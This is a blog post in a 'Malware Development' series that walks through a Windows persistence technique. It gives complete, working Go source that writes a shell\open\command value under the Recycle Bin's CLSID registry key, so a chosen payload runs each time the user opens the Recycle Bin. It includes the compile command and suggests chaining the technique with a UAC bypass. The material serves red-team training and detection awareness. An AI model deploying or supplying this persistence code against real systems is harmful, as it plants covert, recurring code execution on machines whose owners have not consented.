Waseem Akram

Malware Development 3 - Persistence via Recycle Bin (Golang)

By Waseem Akram on 10/15/2024

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...

Malware Development 3 - Persistence via Recycle Bin (Golang)

Introduction

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key which interacts with the Recycle Bin. I don’t know if any APT group uses this technique but I read about it in a vxunderground paper (see here) and I thought it may be interesting to try in Golang so let’s see how it works.

Explanation

In Windows there are some folders which have have uniques CLSID values like the ones for the “Recycle Bin” {645ff040-5081-101b-9f08-00aa002f954e} or the “My Documents” {450d8fba-ad25-11d0-98a8-0800361b1103}

All of this may sound familiar to you if you’ve ever tried the fodhelper.exe UAC bypass in which the registry HKCU is modified to execute commands as administrator without any confirmation.

Code

First of all we must import the necessary packages. In this case we’ll use the official Golang package to interact with registry keys

package main
 
import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)

Explanation of the Given Code

This code is written in the Go programming language. Let's break it down step by step.

1. Package Declaration

package main

Every Go program starts with a package declaration. The main package is used for executable programs, and it tells the Go compiler that this is an executable program rather than a shared library.

2. Import Statements

import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)

The import keyword is used to include external packages in our program. In this case, we are importing three packages: fmt, log, and golang.org/x/sys/windows/registry.

  • The fmt package provides functions for formatting and printing output.
  • The log package provides functions for logging messages.
  • The golang.org/x/sys/windows/registry package provides functions for interacting with the Windows registry.

We have to open the CLSID registry key

...
 
bin_key, err := registry.OpenKey(
  registry.LOCAL_MACHINE,
  "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
  registry.WRITE, // Permissions
)
 
if err != nil {
  fmt.Println("OpenKey error!")
  log.Fatal(err)
}
defer bin_key.Close()
 
...
  • This section of code attempts to open a specific key in the Windows registry.

  • registry.OpenKey is a function that takes three arguments:

    • registry.LOCAL_MACHINE: This specifies the part of the registry we are accessing (the local machine's registry).
    • "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell": This is the path to the specific registry key we want to open. It is formatted as a string and uses double backslashes (\\) to escape the backslash character.
    • registry.WRITE: This specifies the permissions we want to have on the key. In this case, we want to write to it.
  • After attempting to open the registry key, we check if there was an error

    • if err != nil: This condition checks if an error occurred (i.e., if err is not nil).
    • If there is an error, it prints an error message and logs the error using log.Fatal(err), which also terminates the program.

Closing the Registry Key

defer bin_key.Close()
  • defer is a keyword that schedules the Close method to be called when the surrounding function (not shown here) exits.
  • This ensures that the opened registry key is properly closed to free resources, even if an error occurs later in the code.

Then we create the new registry where our malicious commands will be

...
 
k, _, err := registry.CreateKey(
  bin_key,
  "open\\command",
  registry.ALL_ACCESS,
)
 
if err != nil {
  fmt.Println("CreateKey error!")
  log.Fatal(err)
}
 
...
  • This section of code creates a new registry key.

  • registry.CreateKey is a function that takes three arguments:

    • bin_key: This is the parent key we opened earlier. The new key will be created under this key.
    • "open\\command": This is the name of the new registry subkey we want to create. It is formatted as a string and uses double backslashes (\) to escape the backslash character.
    • registry.ALL_ACCESS: This specifies the permissions for the new key. In this case, it grants all possible access rights.

And finally we set the value, in our case it’s a simple notepad but you could be creative to combine it with other things like UAC bypass and more

...
 
err = k.SetStringValue("", "notepad.exe")
if err != nil {
  log.Fatal(err)
}
 
...

Let’s add more output and the final code should be something like this:

package main
 
/*
 
Author: Waseem Akram
Blog post: https://hackerwasii.com/blogposts/malware-development-3-persistence-via-recycle-bin-golang
 
*/
 
import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)
 
func main(){
 
  // Open registry key
  fmt.Println("Opening registry key...")
  bin_key, err := registry.OpenKey(
    registry.LOCAL_MACHINE,
    "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
    registry.WRITE,
  )
 
  if err != nil { // Handle error
    fmt.Println("OpenKey error!")
    log.Fatal(err)
  }
  // Close key
  defer bin_key.Close()
 
  // Create new key
  fmt.Println("Creating new key...")
  k, _, err := registry.CreateKey(
    bin_key,
    "open\\command",
    registry.ALL_ACCESS,
  )
 
  if err != nil { // Handle error
    fmt.Println("CreateKey error!")
    log.Fatal(err)
  }
 
  // Set value
  fmt.Println("Setting notepad.exe as our payload...")
  err = k.SetStringValue("", "notepad.exe")
  if err != nil { // Handle error
    fmt.Println("SetStringValue error!")
    log.Fatal(err)
  }
 
  fmt.Println("Process completed!")
}

Now we compile our payload and transfer it to our Windows testing machine

GOOS=windows GOARCH=amd64 go build -o recyclebin.exe main.go

Compiler-output

I haven’t read anywhere if this operation can be done without administrator privileges but testing in my Windows it always returned “Access denied”

Be careful with your payload because testing with cmd.exe and notepad, I created an infinite loop and I had to restart my PC

As you can see after clicking the recycle bin icon a notepad.exe appears

Notepad-image

Now if we search the parent process id (PPID) of the notepad.exe we see that it’s executed under explorer.exe process

process-id

To revert our modifications you can simply execute this powershell command Remove-Item -Path "HKLM:\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" -Recurse -Force and it should work for you

References

https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf
https://blog.amartinsec.com/posts/recyclebin/

Conclusion

This persistence technique can be useful for red teamers as it’s stealthy and everyone use the recycle bin to delete files so the payload would be executed whenever a user access to it. But the registry key can be monitored to prevent this so blue teamers should have this technique in mind

Other Posts You Might Like

10/14/2024
·
Waseem Akram

Malware Development 2 UuidFromString shellcode injection (Golang)

Today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA API call. In this technique, the malware..

Read More
10/5/2024
·
Waseem Akram

How Hackers Target Instagram Accounts & How to Protect Yourself in 2024

Instahack is a security tool officially designed to test the password strength of Instagram accounts using termux and kali with a brute force attack...

Read More
10/1/2024
·
Waseem Akram

Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang...

Read More
9/30/2024
·
Waseem Akram

Malware Development How to call Windows API from Go

Today we'll see how we can use Golang internal functions from syscall and golang.org/x/sys/windows packages to call Windows API. Other languages like C o C++ are specifically

Read More
9/28/2024
·
Waseem Akram

Understanding the basename Command in Linux

The basename command in Linux is used to extract the last element of a file path. This is particularly helpful in bash scripts where you only need the...

Read More
3/1/2024
·
Waseem Akram

Bugbounty Resources and Tools

Bugbounty Resources to get started with bug bounty hunting and security research. Learn about the tools and resources that can help you...

Read More